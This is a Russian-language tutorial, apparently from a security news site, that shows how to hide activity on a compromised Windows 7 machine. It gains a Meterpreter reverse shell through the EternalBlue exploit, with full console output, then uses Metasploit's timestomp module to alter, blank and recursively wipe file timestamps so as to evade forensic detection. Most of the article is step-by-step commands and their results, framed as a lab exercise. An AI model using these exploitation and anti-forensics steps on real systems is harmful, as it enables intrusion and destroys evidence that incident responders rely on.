Сокрытие следов через модификацию файловых атрибутов при помощи модуля Timestomp в Metasploit

Сокрытие следов через модификацию файловых атрибутов при помощи модуля Timestomp в Metasploit

Утверждается, что лучший способ избежать детектирования – не оставлять следов и вообще не прикасаться к файлам.

Автор: drd_

Утверждается, что лучший способ избежать детектирования – не оставлять следов и вообще не прикасаться к файлам. Однако на практике в большинстве случаев, невозможно не взаимодействовать с файловой системой тем или иным образом. Соответственно, для запутывания следов и сокрытие активности вполне разумный шаг – изменение файловых атрибутов, чего можно добиться при помощи модуля Timestomp из Metasploit.

Что такое значения MACE?

Атрибуты файлов представляют собой значения Modified-Accessed-Created-Entry (MACE) в формате дата/время, обновляемых во время определенных операций с файлом. Modified – дата последней модификации файла, Accessed – дата последнего доступа к файлу, Created – дата создания файла, Entry – дата изменения заголовка MTF. Эти атрибуты используются администраторами в том числе при расследовании инцидентов и отслеживании вредоносной активности.

В идеале во время хакинга лучше вообще не оставлять следов. Изменение атрибутов файлов стоит на втором месте по эффективности. Этот метод не является панацеей, но может помочь в сокрытии операций с файловой системой.

С другой стороны, следует помнить и про здравый смысл, поскольку если даты будут сильно в прошлом или будущем, сразу возникнут подозрения. Как и в случае, если во всех четырех атрибутах стоит одна и та же дата и время.

Шаг 1: Настройка рабочей среды

Мы будем использовать копию Windows 7 в качестве целевой системы и Kali Linux в качестве рабочей машины. Вначале нужно создать несколько тестовых файлов в целевой системе. Я также создал новую папку MyFiles, где будут храниться все созданные файлов. Сами файлы могут быть любыми (текстовых более, чем достаточно).

Рисунок 1: Тестовые файлы в целевой системе

Шаг 2: Получение meterpreter-сессии

После всех настроек на рабочей машине в терминале вводим команду msfconsole и запускаем Metasploit.

~# msfconsole

msf5 >

Целевая система уязвима к эксплоиту EternalBlue, который будет использоваться для получения шелла. На самом деле, особого значение не имеет, чем вы будете пользоваться, поскольку все заканчивается получением meterpreter-сессии на целевой машине.

msf5 > use exploit/windows/smb/ms17_010_eternalblue

msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.0.1:1234

[*] 10.10.0.104:445 - Connecting to target for exploitation.

[+] 10.10.0.104:445 - Connection established for exploitation.

[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply

[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)

[*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes

[*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv

[*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1

[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply

[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.

[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet

[*] 10.10.0.104:445 - Starting non-paged pool grooming

[+] 10.10.0.104:445 - Sending SMBv2 buffers

[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.

[*] 10.10.0.104:445 - Sending final SMBv2 buffers.

[*] 10.10.0.104:445 - Sending last fragment of exploit packet!

[*] 10.10.0.104:445 - Receiving response from exploit packet

[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!

[*] 10.10.0.104:445 - Sending egg to corrupted connection.

[*] 10.10.0.104:445 - Triggering free of corrupted buffer.

[*] Sending stage (206403 bytes) to 10.10.0.104

[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49233) at 2019-04-08 10:41:26 -0500

[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

Шаг 3: Проверка файлов в целевой системе

После того как целевая система скомпрометирована, вводим команду pwd для просмотра текущей рабочей директории.

meterpreter > pwd

C:\Windows\system32

Поскольку мы создали новую папку на диске C, заходим туда и проверяем наличие созданных ранее файлов.

meterpreter > cd C:/Myfiles

meterpreter > ls

Listing: C:\Myfiles

===================

Mode Size Type Last modified Name

---- ---- ---- ------------- ----

100666/rw-rw-rw- 12 fil 2019-04-08 12:43:24 -0500 example.txt

100666/rw-rw-rw- 7 fil 2019-04-08 12:43:55 -0500 test1.txt

100666/rw-rw-rw- 13 fil 2019-04-08 12:43:55 -0500 test2.txt

100666/rw-rw-rw- 127 fil 2019-04-08 12:43:55 -0500 test3.txt

Шаг 4: Изменение атрибутов файлов при помощи Timestomp

Timestomp представляет собой пост эксплуатационный модуль, доступный в Meterpreter, который можно использовать для модификаций файловых атрибутов (значений MACE). Очень удобно, поскольку мы можем изменить время и дату любого файла, с которым работали, с минимальным риском оказаться обнаруженным.

В meterpreter-сессии для просмотра справочной информации для модуля используем команду timestomp help:

meterpreter > timestomp help

Usage: timestomp <file(s)> OPTIONS

OPTIONS:

-a <opt> Set the "last accessed" time of the file

-b Set the MACE timestamps so that EnCase shows blanks

-c <opt> Set the "creation" time of the file

-e <opt> Set the "mft entry modified" time of the file

-f <opt> Set the MACE of attributes equal to the supplied file

-h Help banner

-m <opt> Set the "last written" time of the file

-r Set the MACE timestamps recursively on a directory

-v Display the UTC MACE values of the file

-z <opt> Set all four attributes (MACE) of the file

1. Просмотр файловых атрибутов

Необходимо указать нужную опцию и имя файла. Например, для просмотра атрибутов MACE используем флаг –v.

meterpreter > timestomp example.txt -v
 
[*] Showing MACE attributes for example.txt
Modified      : 2019-04-08 13:44:25 -0500
Accessed      : 2019-04-08 13:43:24 -0500
Created       : 2019-04-08 13:43:24 -0500

Entry Modified: 2019-04-08 13:44:25 -0500

2. Изменение значений Modified, Accessed, Created и Entry Modified

Мы можем изменить любой из этих атрибутов, указав нужную опцию и корректную дату в формате DateTime. Например, для изменения значения «modified» используем флаг –m.

meterpreter > timestomp example.txt -m "02/14/2012 08:10:03"
 
[*] Setting specific MACE attributes on example.txt

Теперь при повторном просмотре атрибутов видны изменения.

meterpreter > timestomp example.txt -v

[*] Showing MACE attributes for example.txt

Modified : 2012-02-14 08:10:03 -0600

Accessed : 2019-04-08 13:43:24 -0500

Created : 2019-04-08 13:43:24 -0500

Entry Modified: 2019-04-08 13:44:25 -0500

Схожим образом изменяется атрибут «accessed» при помощи флага –a.

meterpreter > timestomp example.txt -a "02/14/2012 08:10:03"
 
[*] Setting specific MACE attributes on example.txt

И атрибут «created» при помощи флага c.

meterpreter > timestomp example.txt -c "03/11/1999 10:05:01"
 
[*] Setting specific MACE attributes on example.txt

В завершении меняем атрибут «entry modified», используя флаг e.

meterpreter > timestomp example.txt -e "04/25/2018 11:11:08"
 
[*] Setting specific MACE attributes on example.txt

Теперь при просмотре файла видим, что появились изменения.

meterpreter > timestomp example.txt -v
 
[*] Showing MACE attributes for example.txt
Modified      : 2012-02-14 08:10:03 -0600
Accessed      : 2012-02-14 08:10:03 -0600
Created       : 1999-03-11 10:05:01 -0600
Entry Modified: 2018-04-25 12:11:08 -0500

3. Установка во все атрибуты одного значения

Мы также можем изменить все атрибуты сразу, если хотим, чтобы все значения были одинаковы, при помощи флага –z.

meterpreter > timestomp example.txt -z "10/15/2017 05:30:22"
 
[*] Setting specific MACE attributes on example.txt

Изменения появились.

meterpreter > timestomp example.txt -v
 
[*] Showing MACE attributes for example.txt
Modified      : 2017-10-15 06:30:22 -0500
Accessed      : 2017-10-15 06:30:22 -0500
Created       : 2017-10-15 06:30:22 -0500
Entry Modified: 2017-10-15 06:30:22 -0500

4. Перенос значений из другого файла

При помощи флага –f можно унаследовать значения атрибутов из файла, уже существующего в системе. Однако у меня не получился этот трюк.

meterpreter > timestomp example.txt -f C:\\Windows\\notepad.exe
 
[*] Pulling MACE attributes from C:\Windows\notepad.exe
[-] priv_fs_get_file_mace: Operation failed: The handle is invalid.

5. Обнуление значений

Мы можем полностью обнулить атрибуты, используя флаг -b

meterpreter > timestomp example.txt -b
 
[*] Blanking file MACE attributes on example.txt

Теперь при просмотре атрибутов файла будут показаны бессмысленные даты из будущего.

meterpreter > timestomp example.txt -v
 
[*] Showing MACE attributes for example.txt
Modified      : 2106-02-07 00:28:15 -0600
Accessed      : 2106-02-07 00:28:15 -0600
Created       : 2106-02-07 00:28:15 -0600
Entry Modified: 2106-02-07 00:28:15 -0600

При помощи флага –r можно рекурсивно обнулить атрибуты всех файлов в текущей директории.

meterpreter > timestomp ./ -r
 
[*] Blanking directory MACE attributes on ./

Теперь при просмотре на целевой машине все даты оказываются пустыми.

Рисунок 2: Атрибуты файлов после рекурсивного обнуления

Заключение

В этой статье мы немного познакомились с атрибутами файлов и научились запутывать следы. После компрометирования целевой машины и получения meterpreter-сессии мы воспользовались модулем Timestomp и изменили значения MACE. Тем не менее, следует отметить, что метод не является волшебной таблеткой, но все же лучше, чем ничего.

Передаю большой привет белым шляпам J.

Не ждите, пока хакеры вас взломают - подпишитесь на наш канал и станьте неприступной крепостью!

Подписаться